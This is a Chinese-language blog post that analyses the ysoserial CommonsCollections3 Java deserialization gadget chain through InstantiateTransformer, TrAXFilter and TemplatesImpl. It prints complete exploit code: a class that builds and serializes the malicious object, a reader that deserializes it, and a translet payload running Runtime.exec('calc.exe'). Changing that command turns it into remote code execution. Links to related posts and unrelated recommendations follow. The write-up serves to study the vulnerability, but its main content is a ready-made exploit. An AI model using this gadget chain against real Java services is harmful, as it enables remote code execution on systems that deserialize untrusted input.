前言:

这篇文章主要分析commoncollections3,这条利用链如yso描述,这个与cc1类似,只是反射调用方法是用的不是invokeTransformer而用的是InstantiateTransformer,整个调用过程如下图

利用链分析:

如上图所示,入口点还是Annotationinvoationhandler的Entryset

此时将会调用membervalues.get,其中var4位entryset,而membervalues中存储的为lazymap类的实例,即调用lazymap的get函数

即接着调用chainedTransformer来对key进行转换

其中iTransformer中存储了除了constantTransformer直接返回类,这里使用的类是class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

接下来到了InstantiateTransformer的transformer函数,这里面会拿到input对应类的参数类型为templates的构造函数,然后再实例化

接着一路跟到TrAXFilter的构造函数中,可以看到这里实际上调用了templates.newTransformer,那我们知道templatesImpl的可以通过_bytecode

接下来的过程就不在叙述,就是templates类的利用

yso构造分析:

yso在这里构造payload的时候,constantTransformer返回的是TrAxFilter类,然后再结合instantiateTransformer的transform函数可以拿到入口参数的构造函数,然后再实例化,实例化过程中将调用

TrAxFilter的构造函数,从而调用templates.newTransformer

exp:

exp.java

  1. package CommonCollections3;
  2.  
  3. import javassist.*;
  4. import org.apache.commons.collections.Transformer;
  5. import org.apache.commons.collections.functors.ChainedTransformer;
  6. import org.apache.commons.collections.functors.ConstantTransformer;
  7. import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
  8. import org.apache.commons.collections.functors.InstantiateTransformer;
  9. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  10. import org.apache.commons.collections.map.LazyMap;
  11.  
  12. import javax.xml.transform.Templates;
  13. import java.io.File;
  14. import java.io.FileOutputStream;
  15. import java.io.IOException;
  16. import java.io.ObjectOutputStream;
  17. import java.lang.reflect.*;
  18. import java.util.HashMap;
  19. import java.util.Map;
  20.  
  21. //
  22. //@Dependencies({"commons-collections:commons-collections:3.1"})
  23. //
  24. public class exp {
  25. public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, NotFoundException, IOException, CannotCompileException {
  26.  
  27. //
  28. //构造Templates对象
  29. //
  30. TemplatesImpl tmp = new TemplatesImpl();
  31.  
  32. //rce代码块的对象
  33. ClassPool pool = ClassPool.getDefault();
  34. pool.insertClassPath(new ClassClassPath(payload.class));
  35. CtClass pay = pool.get(payload.class.getName());
  36. byte[] PayCode = pay.toBytecode();
  37.  
  38. Class clazz;
  39. clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  40. Field tf = clazz.getDeclaredField("_bytecodes");
  41. tf.setAccessible(true);
  42. tf.set(tmp,new byte[][]{PayCode});
  43. Field name = clazz.getDeclaredField("_name");
  44. name.setAccessible(true);
  45. name.set(tmp,"tr1ple");
  46.  
  47. HashMap InnerMap = new HashMap();
  48. Transformer[] trans = new Transformer[]{
  49. new ConstantTransformer(TrAXFilter.class),
  50. new InstantiateTransformer(
  51. new Class[]{Templates.class},
  52. new Object[]{tmp}
  53. )
  54. };
  55.  
  56. ChainedTransformer chined = new ChainedTransformer(trans);
  57. Map outmap = LazyMap.decorate(InnerMap,chined);
  58.  
  59. final Constructor con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
  60. con.setAccessible(true);
  61. InvocationHandler han = (InvocationHandler)con.newInstance(Override.class,outmap);
  62. Map proxy = (Map) Proxy.newProxyInstance(exp.class.getClassLoader(),outmap.getClass().getInterfaces(),han);
  63.  
  64. //外层装proxy代理
  65. final Constructor out_con = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
  66. out_con.setAccessible(true);
  67. InvocationHandler out_han = (InvocationHandler) out_con.newInstance(Override.class,proxy);
  68.  
  69. //序列化
  70. File file;
  71. file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
  72. FileOutputStream fo = new FileOutputStream(file);
  73. ObjectOutputStream ObjOut = new ObjectOutputStream(fo);
  74. ObjOut.writeObject(out_han);
  75.  
  76. }
  77. }

readobj.java

  1. package CommonCollections3;
  2.  
  3. import java.io.File;
  4. import java.io.FileInputStream;
  5. import java.io.IOException;
  6. import java.io.ObjectInputStream;
  7. import java.lang.Runtime;
  8.  
  9. public class readObj {
  10. public static void main(String[] args) {
  11. File file;
  12. file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commoncollections3.ser");
  13. try {
  14. ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
  15. obj.readObject();
  16. obj.close();
  17. } catch (IOException e) {
  18. e.printStackTrace();
  19. } catch (ClassNotFoundException e) {
  20. e.printStackTrace();
  21. }
  22. }
  23.  
  24. }

payload.java

  1. package CommonCollections3;
  2.  
  3. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  4. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  7. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  8.  
  9. import java.io.IOException;
  10.  
  11. public class payload extends AbstractTranslet {
  12. {
  13. try {
  14. Runtime.getRuntime().exec("calc.exe");
  15. } catch (IOException e) {
  16. e.printStackTrace();
  17. }
  18. }
  19. public payload(){
  20. System.out.println("tr1ple 2333");
  21. }
  22.  
  23. public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
  24. }
  25.  
  26. public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
  27.  
  28. }
  29. }

这条利用链也是受jdk版本影响的,相较于cc2有局限性,和cc1相类似,外层包装相同,只是内部chained转换链变化了

java反序列化-ysoserial-调试分析总结篇(3)的更多相关文章

  1. java反序列化-ysoserial-调试分析总结篇(2)

    前言: 这篇主要分析commonCollections2,调用链如下图所示: 调用链分析: 分析环境:jdk1.8.0 反序列化的入口点为src.zip!/java/util/PriorityQueu ...

  2. java反序列化-ysoserial-调试分析总结篇(6)

    前言: 这篇记录CommonsCollections6的调试,外层也是新的类,换成了hashset,即从hashset触发其readObject(),yso给的调用链如下图所示 利用链分析: 首先在h ...

  3. java反序列化-ysoserial-调试分析总结篇(4)

    1.前言 这篇文章继续分析commoncollections4利用链,这篇文章是对cc2的改造,和cc3一样,cc3是对cc1的改造,cc4则是对cc2的改造,里面chained的invoke变成了i ...

  4. java反序列化-ysoserial-调试分析总结篇(5)

    前言: 这篇文章继续分析commonscollections5,由如下调用链可以看到此时最外层的类不是annotationinvoke,也不是priorityqueue了,变成了badattribut ...

  5. java反序列化-ysoserial-调试分析总结篇(7)

    前言: CommonsCollections7外层也是一条新的构造链,外层由hashtable的readObject进入,这条构造链挺有意思,因为用到了hash碰撞 yso构造分析: 首先构造进行rc ...

  6. java反序列化——apache-shiro复现分析

    本文首发于“合天智汇”公众号 作者:Fortheone 看了好久的文章才开始分析调试java的cc链,这个链算是java反序列化漏洞里的基础了.分析调试的shiro也是直接使用了cc链.首先先了解一些 ...

  7. java集合源码分析几篇文章

    java集合源码解析https://blog.csdn.net/ns_code/article/category/2362915

  8. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  9. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

随机推荐

  1. LeetCode No.145,146,147

    No.145 PostorderTraversal 二叉树的后序遍历 题目 给定一个二叉树,返回它的 后序 遍历. 进阶: 递归算法很简单,你可以通过迭代算法完成吗? 示例 输入: [1,null,2 ...

  2. 903C. Boxes Packing#俄罗斯套娃问题(map使用)

    题目出处:http://codeforces.com/problemset/problem/903/C 题目大意:求这组数据中数据出现的最大重复次数 #include<iostream> ...

  3. C实现日志等级控制

    #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdarg.h&g ...

  4. 定时任务--Timer()实现

    Java的Timer以及TimerTask类可以帮助我们实现定时器功能,利用servlet监听程序可以实现WEB服务启动之后执行某些工作.两者结合就可以再web应用中实现定时器功能. 1.计划类代码S ...

  5. 十七、linux系统磁盘管理

     1.    磁盘是存放许多重要数据的地方,所有了解磁盘是非常重要的.  2.    我们现在一块高达1000GB(1T)磁盘,就是3个盘前(1个3.5寸盘)组成.磁盘在工作的时候,盘片是高速旋转,磁 ...

  6. RPM包和YUM仓库管理

    1.RPM包管理 RPMRPM Package Manger,前身Redhat Package Manger,由红帽开发用于软件包的安装升级卸载与查询有一个完整的数据库体系,每个RPM包的所有信息都固 ...

  7. list集合、txt文件对比的工具类和文件读写工具类

    工作上经常会遇到处理大数据的问题,下面两个工具类,是在处理大数据时编写的:推荐的是使用map的方式处理两个list数据,如果遇到list相当大数据这个方法就起到了作用,当时处理了两个十万级的list, ...

  8. python之golb模块

    golb模块可以查找符合特定规则的文件路径名,查找文件名使用三种不同的匹配符:‘*’,‘?’,‘[]’.'*'匹配0个或多个字符,'?‘匹配单个字符,’[]‘匹配指定范围内的字符,比如[A-Z] 1. ...

  9. Qt 线程池QThreadPool类、QRunnable类

    QThreadPool类 用来管理 QThreads.此类中的所有函数都是线程安全的. 主要属性: 1.activeThreadCount: 此属性表示线程池中的活动线程数,通过activeThrea ...

  10. “大屏,您好!” SONIQ声光揭新品“U•F•O”神秘面纱

    作为全球第一批做互联网智能电视的传媒企业,SONIQ声光于4月22日在中国大饭店举行了盛大的新品发布会.其中的重头戏就是当天发布会上作为先锋部队入驻中国电视市场的"UFO".笔者作 ...